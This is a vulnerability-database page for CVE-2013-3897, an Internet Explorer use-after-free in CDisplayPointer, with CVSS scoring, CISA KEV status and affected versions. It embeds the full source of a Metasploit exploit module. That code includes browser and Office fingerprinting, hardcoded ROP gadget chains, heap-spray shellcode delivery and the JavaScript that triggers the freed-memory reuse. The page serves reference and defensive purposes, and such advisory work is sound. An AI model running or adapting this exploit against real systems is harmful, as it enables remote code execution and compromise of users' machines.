CVE-2013-3897 : Detail

CVE-2013-3897

8.8
/
High
Memory Corruption
96.87%V3
Network
2013-10-09
14h44 +00:00
2025-02-10
19h21 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in the CDisplayPointer class in mshtml.dll in Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted JavaScript code that uses the onpropertychange event handler, as exploited in the wild in September and October 2013, aka "Internet Explorer Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Internet Explorer Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-02 23h00 +00:00

Action is due : 2022-03-23 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 28974

Publication date : 2013-10-14 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-3897' ], [ 'OSVDB', '98207' ], [ 'MSB', 'MS13-080' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', {} ], [ 'IE 8 on Windows 7', {} ] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. # MSFT patched this on Oct 8th. 'DisclosureDate' => "Oct 08 2013", 'DefaultTarget' => 0)) end def get_check_html %Q|<html> <script> #{js_os_detect} function os() { var detect = window.os_detect.getVersion(); var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; return os_string; } function dll() { var checka = 0; var checkb = 0; try { checka = new ActiveXObject("SharePoint.OpenDocuments.4"); } catch (e) {} try { checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); } catch (e) {} if ((typeof checka) == "object" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} return "#{@js_office_2010_str}"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { try{location.href='ms-help://'} catch(e){} return "#{@js_office_2007_str}"; } return "#{@js_default_str}"; } window.onload = function() { window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); } </script> </html> | end def junk rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(target_info) rop_payload = '' os = target_info[:os] dll_used = '' case target_info[:dll] when @js_office_2007_str dll_used = "Office 2007" pivot = [ 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 junk, # ESI due to POPAD junk, # EBP due to POPAD junk, junk, # EBX due to POPAD junk, # EDX due to POPAD junk, # ECX due to POPAD 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) 0x51bd81db, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) when @js_office_2010_str dll_used = "Office 2010" pivot = [ 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 junk, junk, junk, junk, junk, 0x51BE7E9A, # ROP NOP junk # Padding for the retn 4 from the stack pivot ].pack("V*") rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) when @js_default_str if target_info[:os] =~ /windows xp/i # XP uses msvcrt.dll dll_used = "msvcrt" pivot = [ 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret ].pack("V*") rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) else # Assuming this is Win 7, and we'll use Java 6 ROP dll_used = "Java" pivot = [ 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn junk # Padding for the POP ECX ].pack("V*") rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) end end print_status("Target uses #{os} with #{dll_used} DLL") rop_payload end def get_sploit_html(target_info) os = target_info[:os] js_payload = '' if os =~ /Windows (7|XP) MSIE 8\.0/ js_payload = Rex::Text.to_unescape(get_payload(target_info)) else print_error("Target not supported by this attack.") return "" end %Q|<html> <head> <script> #{js_property_spray} sprayHeap({shellcode:unescape("#{js_payload}")}); var earth = document; var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); } else { data += "\\u4141\\u4141"; } } data += "\\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = earth.createElement("div"); effect.className = data; } } function kaiju() { var godzilla = earth.createElement("textarea"); var minilla = earth.createElement("pre"); earth.body.appendChild(godzilla); earth.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect=function(e) { minilla.swapNode(earth.createElement("div")); } var battleStation = false; var war = new Array(); godzilla.onpropertychange=function(e) { if (battleStation == true) { for (i=0; i<50; i++) { war.push(earth.createElement("span")); } } earth.execCommand("Unselect"); if (battleStation == true) { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } } butterfly(); godzilla.select(); } </script> </head> <body onload='kaiju()'> </body> </html> | end def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } sploit = get_sploit_html(target_info) send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) return end html = get_check_html print_status("Checking out target...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end def exploit @js_office_2007_str = Rex::Text.rand_text_alpha(4) @js_office_2010_str = Rex::Text.rand_text_alpha(5) @js_default_str = Rex::Text.rand_text_alpha(6) super end end =begin +hpa this for debugging or you might not see a crash at all :-) 0:005> r eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? 0:005> u mshtml!QIClassID+0x30: 6d6dc123 8b03 mov eax,dword ptr [ebx] 6d6dc125 8365e800 and dword ptr [ebp-18h],0 6d6dc129 8d4de8 lea ecx,[ebp-18h] 6d6dc12c 51 push ecx 6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) 6d6dc132 53 push ebx 6d6dc133 bf02400080 mov edi,80004002h 6d6dc138 ff10 call dword ptr [eax] =end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

References

http://www.us-cert.gov/ncas/alerts/TA13-288A
Tags : third-party-advisory, x_refsource_CERT